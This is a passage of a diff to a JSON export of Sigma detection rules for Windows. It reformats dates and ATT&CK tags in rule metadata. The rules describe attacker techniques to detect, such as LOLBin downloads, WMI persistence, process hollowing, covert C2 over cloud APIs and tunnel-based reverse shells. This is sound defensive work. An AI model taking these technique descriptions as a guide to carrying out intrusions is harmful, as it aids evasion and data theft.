"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.t1070.001" ] @@ -54283,7 +54389,7 @@ "description": "Detects calls to the AtomicTestHarnesses \"Invoke-ATHRemoteFXvGPUDisablementCommand\" which is designed to abuse the \"RemoteFXvGPUDisablement.exe\" binary to run custom PowerShell code via module load-order hijacking.", "meta": { "author": "frack113", - "creation_date": "2021/07/13", + "creation_date": "2021-07-13", "falsepositive": [ "Unknown" ], @@ -54297,7 +54403,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_remotefxvgpudisablement_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -54317,7 +54423,7 @@ "description": "Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Unlikely" ], @@ -54374,7 +54480,7 @@ "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", "meta": { "author": "Teymur Kheirkhabarov", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -54388,7 +54494,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_privilege_escalation_via_service_key.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -54408,7 +54514,7 @@ "description": "Detects execution of Cmdl32 with the \"/vpn\" and \"/lan\" flags.\nAttackers can abuse this utility in order to download arbitrary files via a configuration file.\nInspect the location and the content of the file passed as an argument in order to determine if it is suspicious.\n", "meta": { "author": "frack113", - "creation_date": "2021/11/03", + "creation_date": "2021-11-03", "falsepositive": [ "Unknown" ], @@ -54418,13 +54524,13 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", - "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", "https://github.com/LOLBAS-Project/LOLBAS/pull/151", + "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdl32_arbitrary_file_download.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -54452,7 +54558,7 @@ "description": "The OpenWith.exe executes other binary", "meta": { "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", - "creation_date": "2019/10/12", + "creation_date": "2019-10-12", "falsepositive": [ "Unknown" ], @@ -54461,12 +54567,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", "https://twitter.com/harr0ey/status/991670870384021504", + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -54486,7 +54592,7 @@ "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/23", + "creation_date": "2022-08-23", "falsepositive": [ "Unknown" ], @@ -54495,8 +54601,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1562072617552678912", "https://ss64.com/nt/cmd.html", + "https://twitter.com/cyb3rops/status/1562072617552678912", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml" ], "tags": [ @@ -54520,7 +54626,7 @@ "description": "Detects PowerShell script execution via input stream redirect", "meta": { "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", - "creation_date": "2020/10/17", + "creation_date": "2020-10-17", "falsepositive": [ "Unknown" ], @@ -54529,12 +54635,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", "https://twitter.com/Moriarty_Meng/status/984380793383370752", + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_input_stream.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -54555,7 +54661,7 @@ "description": "Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", "meta": { "author": "frack113", - "creation_date": "2021/09/01", + "creation_date": "2021-09-01", "falsepositive": [ "Unknown" ], @@ -54568,7 +54674,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -54588,7 +54694,7 @@ "description": "Detects the rare use of the command line tool shutdown to logoff a user", "meta": { "author": "frack113", - "creation_date": "2022/10/01", + "creation_date": "2022-10-01", "falsepositive": [ "Unknown" ], @@ -54597,8 +54703,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml" ], "tags": [ @@ -54622,7 +54728,7 @@ "description": "Detects suspicious parent process for cmd.exe", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/21", + "creation_date": "2022-09-21", "falsepositive": [ "Unknown" ], @@ -54655,7 +54761,7 @@ "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", "meta": { "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/05/06", + "creation_date": "2022-05-06", "falsepositive": [ "Unknown" ], @@ -54665,8 +54771,8 @@ "logsource.product": "windows", "refs": [ "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_cmd.yml" ], "tags": [ @@ -54691,7 +54797,7 @@ "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/01", + "creation_date": "2022-09-01", "falsepositive": [ "Unknown" ], @@ -54704,7 +54810,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -54724,7 +54830,7 @@ "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/07/20", + "creation_date": "2021-07-20", "falsepositive": [ "Unknown" ], @@ -54737,7 +54843,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_private_keys_recon.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.004" ] }, @@ -54757,7 +54863,7 @@ "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -54770,7 +54876,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mspub_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -54791,7 +54897,7 @@ "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "meta": { "author": "frack113", - "creation_date": "2021/07/27", + "creation_date": "2021-07-27", "falsepositive": [ "Legitimate activity is expected since compressing files with a password is common." ], @@ -54824,7 +54930,7 @@ "description": "Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -54837,7 +54943,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_winword_dll_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -54857,7 +54963,7 @@ "description": "Detects the execution of REGSVR32.exe with DLL files masquerading as other files", "meta": { "author": "Florian Roth (Nextron Systems), frack113", - "creation_date": "2021/11/29", + "creation_date": "2021-11-29", "falsepositive": [ "Unlikely" ], @@ -54866,13 +54972,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_extensions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -54892,7 +54998,7 @@ "description": "Detects presence of a potentially xor encoded powershell command", "meta": { "author": "Sami Ruohonen, Harish Segar, Tim Shelton, Teymur Kheirkhabarov, Vasiliy Burov, oscd.community, Nasreddine Bencherchali", - "creation_date": "2018/09/05", + "creation_date": "2018-09-05", "falsepositive": [ "Unknown" ], @@ -54901,14 +55007,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://zero2auto.com/2020/05/19/netwalker-re/", "https://mez0.cc/posts/cobaltstrike-powershell-exec/", + "https://zero2auto.com/2020/05/19/netwalker-re/", "https://redcanary.com/blog/yellow-cockatoo/", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059.001", "attack.t1140", @@ -54945,7 +55051,7 @@ "description": "Detects suspicious encoded payloads in WMI Event Consumers", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/09/01", + "creation_date": "2021-09-01", "falsepositive": [ "Unknown" ], @@ -54987,7 +55093,7 @@ "description": "Detects creation of WMI event subscription persistence method", "meta": { "author": "Tom Ueltschi (@c_APT_ure)", - "creation_date": "2019/01/12", + "creation_date": "2019-01-12", "falsepositive": [ "Exclude legitimate (vetted) use of WMI event subscription in your network" ], @@ -54996,9 +55102,9 @@ "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-21-wmievent-wmieventconsumertofilter-activity-detected", - "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-19-wmievent-wmieventfilter-activity-detected", "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-20-wmievent-wmieventconsumer-activity-detected", + "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-19-wmievent-wmieventfilter-activity-detected", + "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-21-wmievent-wmieventconsumertofilter-activity-detected", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" ], "tags": [ @@ -55022,7 +55128,7 @@ "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro", - "creation_date": "2019/04/15", + "creation_date": "2019-04-15", "falsepositive": [ "Legitimate administrative scripts" ], @@ -55031,9 +55137,9 @@ "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ - "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", "https://github.com/RiccardoAncarani/LiquidSnake", "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", + "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" ], "tags": [ @@ -55057,7 +55163,7 @@ "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", - "creation_date": "2022/01/25", + "creation_date": "2022-01-25", "falsepositive": [ "Unknown" ], @@ -55066,13 +55172,13 @@ "logsource.category": "process_tampering", "logsource.product": "windows", "refs": [ - "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", + "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_tampering/proc_tampering_susp_process_hollowing.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055.012" ] }, @@ -55092,7 +55198,7 @@ "description": "Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/19", + "creation_date": "2023-05-19", "falsepositive": [ "Legitimate applications communicating with the Telegram API e.g. web browsers not in the exclusion list, app with an RSS etc." ], @@ -55105,7 +55211,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_telegram_api_non_browser_access.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102" ] }, @@ -55125,7 +55231,7 @@ "description": "Detects a network connection initiated by \"Regsvr32.exe\"", "meta": { "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -55134,14 +55240,14 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" ], "tags": [ "attack.execution", "attack.t1559.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -55168,7 +55274,7 @@ "description": "Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "Kamran Saifullah", - "creation_date": "2023/11/20", + "creation_date": "2023-11-20", "falsepositive": [ "Legitimate use of Visual Studio Code tunnel will also trigger this." ], @@ -55178,8 +55284,8 @@ "logsource.product": "windows", "refs": [ "https://badoption.eu/blog/2023/01/31/code_c2.html", - "https://cydefops.com/vscode-data-exfiltration", "https://ipfyx.fr/post/visual-studio-code-tunnel/", + "https://cydefops.com/vscode-data-exfiltration", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_vscode_tunnel_connection.yml" ], "tags": [ @@ -55203,7 +55309,7 @@ "description": "Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "Kamran Saifullah", - "creation_date": "2023/11/20", + "creation_date": "2023-11-20", "falsepositive": [ "Legitimate use of Devtunnels will also trigger this." ], @@ -55238,7 +55344,7 @@ "description": "Detects a network connection initiated by a binary to \"api.mega.co.nz\".\nAttackers were seen abusing file sharing websites similar to \"mega.nz\" in order to upload/download additional payloads.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/06", + "creation_date": "2021-12-06", "falsepositive": [ "Legitimate MEGA installers and utilities are expected to communicate with this domain. Exclude hosts that are known to be allowed to use this tool." ], @@ -55247,8 +55353,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://megatools.megous.com/", "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://megatools.megous.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_mega_nz.yml" ], "tags": [ @@ -55272,7 +55378,7 @@ "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/02/16", + "creation_date": "2019-02-16", "falsepositive": [ "Unknown" ], @@ -55285,9 +55391,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001", "car.2013-07-002" ] @@ -55315,7 +55421,7 @@ "description": "Detects a rundll32 that communicates with public IP addresses", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/11/04", + "creation_date": "2017-11-04", "falsepositive": [ "Communication to other corporate systems that use IP addresses from public address spaces" ], @@ -55328,7 +55434,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011", "attack.execution" ] @@ -55349,7 +55455,7 @@ "description": "Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as \"OffensiveNotion C2\"", "meta": { "author": "Gavin Knapp", - "creation_date": "2023/05/03", + "creation_date": "2023-05-03", "falsepositive": [ "Legitimate applications communicating with the \"api.notion.com\" endpoint that are not already in the exclusion list. The desktop and browser applications do not appear to be using the API by default unless integrations are configured." ], @@ -55358,12 +55464,12 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332", "https://github.com/mttaggart/OffensiveNotion", + "https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_notion_api_susp_communication.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102" ] }, @@ -55383,7 +55489,7 @@ "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Other SMTP tools" ], @@ -55417,7 +55523,7 @@ "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", "meta": { "author": "elhoim", - "creation_date": "2022/04/28", + "creation_date": "2022-04-28", "falsepositive": [ "Unknown" ], @@ -55433,7 +55539,7 @@ "attack.t1055", "attack.t1218", "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -55459,7 +55565,7 @@ "description": "Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)\n", "meta": { "author": "Gavin Knapp", - "creation_date": "2023/05/01", + "creation_date": "2023-05-01", "falsepositive": [ "Legitimate applications communicating with the \"googleapis.com\" endpoints that are not already in the exclusion list. This is environmental dependent and requires further testing and tuning." ], @@ -55468,15 +55574,15 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://github.com/looCiprian/GC2-sheet", + "https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/", "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/", - "https://youtu.be/n2dFlSaBBKo", "https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf", - "https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/", - "https://github.com/looCiprian/GC2-sheet", + "https://youtu.be/n2dFlSaBBKo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_google_api_non_browser_access.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102" ] }, @@ -55496,7 +55602,7 @@ "description": "Detects programs that connect to uncommon destination ports", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/19", + "creation_date": "2017-03-19", "falsepositive": [ "Unknown" ], @@ -55510,7 +55616,7 @@ ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1571" ] }, @@ -55530,7 +55636,7 @@ "description": "Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Unknown" ], @@ -55544,7 +55650,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -55564,7 +55670,7 @@ "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/08/28", + "creation_date": "2022-08-28", "falsepositive": [ "Legitimate scripts" ], @@ -55577,7 +55683,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wscript_cscript_outbound_connection.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -55597,7 +55703,7 @@ "description": "Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2024/05/31", + "creation_date": "2024-05-31", "falsepositive": [ "Legitimate use of portmap.io domains" ], @@ -55606,14 +55712,14 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://pro.twitter.com/JaromirHorejsi/status/1795001037746761892/photo/2", "https://portmap.io/", "https://github.com/rapid7/metasploit-framework/issues/11337", + "https://pro.twitter.com/JaromirHorejsi/status/1795001037746761892/photo/2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_portmap.yml" ], "tags": [ "attack.t1041", - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.002", "attack.exfiltration" ] @@ -55641,7 +55747,7 @@ "description": "Detects a network connection initiated by Cmstp.EXE\nIts uncommon for \"cmstp.exe\" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/30", + "creation_date": "2022-08-30", "falsepositive": [ "Unknown" ], @@ -55654,7 +55760,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_cmstp_initiated_connection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.003" ] }, @@ -55674,7 +55780,7 @@ "description": "Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses.\nThis rule aims to detect traffic similar to one seen exploited in CVE-2021-42292.\nThis rule will require an initial baseline and tuning that is specific to your organization.\n", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/11/10", + "creation_date": "2021-11-10", "falsepositive": [ "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", "Office documents commonly have templates that refer to external addresses, like \"sharepoint.ourcompany.com\" may have to be tuned.", @@ -55685,8 +55791,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/de-de/microsoft-365/enterprise/urls-and-ip-address-ranges?view=o365-worldwide", "https://corelight.com/blog/detecting-cve-2021-42292", + "https://learn.microsoft.com/de-de/microsoft-365/enterprise/urls-and-ip-address-ranges?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_office_outbound_non_local_ip.yml" ], "tags": [ @@ -55710,7 +55816,7 @@ "description": "Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Legitimate python scripts using the socket library or similar will trigger this. Apply additional filters and perform an initial baseline before deploying." ], @@ -55719,8 +55825,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", "https://pypi.org/project/scapy/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" ], "tags": [ @@ -55744,7 +55850,7 @@ "description": "Detects network connections to Cloudflared tunnels domains initiated by a process on the system.\nAttackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "Kamran Saifullah, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/05/27", + "creation_date": "2024-05-27", "falsepositive": [ "Legitimate use of cloudflare tunnels will also trigger this." ], @@ -55753,14 +55859,14 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/", "Internal Research", + "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/", "https://defr0ggy.github.io/research/Abusing-Cloudflared-A-Proxy-Service-To-Host-Share-Applications/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_cloudflared_communication.yml" ], "tags": [ "attack.exfiltration", - "attack.command_and_control", + "attack.command-and-control", "attack.t1567.001" ] }, @@ -55780,7 +55886,7 @@ "description": "Detects a possible remote connections to Silenttrinity c2", "meta": { "author": "Kiran kumar s, oscd.community", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Unknown" ], @@ -55813,7 +55919,7 @@ "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/29", + "creation_date": "2022-04-29", "falsepositive": [ "Unknown" ], @@ -55827,9 +55933,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001", "car.2013-07-002" ] @@ -55857,7 +55963,7 @@ "description": "Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.\n", "meta": { "author": "frack113", - "creation_date": "2022/08/28", + "creation_date": "2022-08-28", "falsepositive": [ "Legitimate scripts" ], @@ -55870,7 +55976,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wscript_cscript_local_connection.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -55890,7 +55996,7 @@ "description": "Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.", "meta": { "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/12", + "creation_date": "2023-07-12", "falsepositive": [ "Other ports can be used, apply additional filters accordingly" ], @@ -55903,8 +56009,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_office_uncommon_ports.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control" + "attack.defense-evasion", + "attack.command-and-control" ] }, "uuid": "3b5ba899-9842-4bc2-acc2-12308498bf42", @@ -55914,7 +56020,7 @@ "description": "Detects a network connection initiated by the Add-In deployment cache updating utility \"AddInutil.exe\".\nThis could indicate a potential 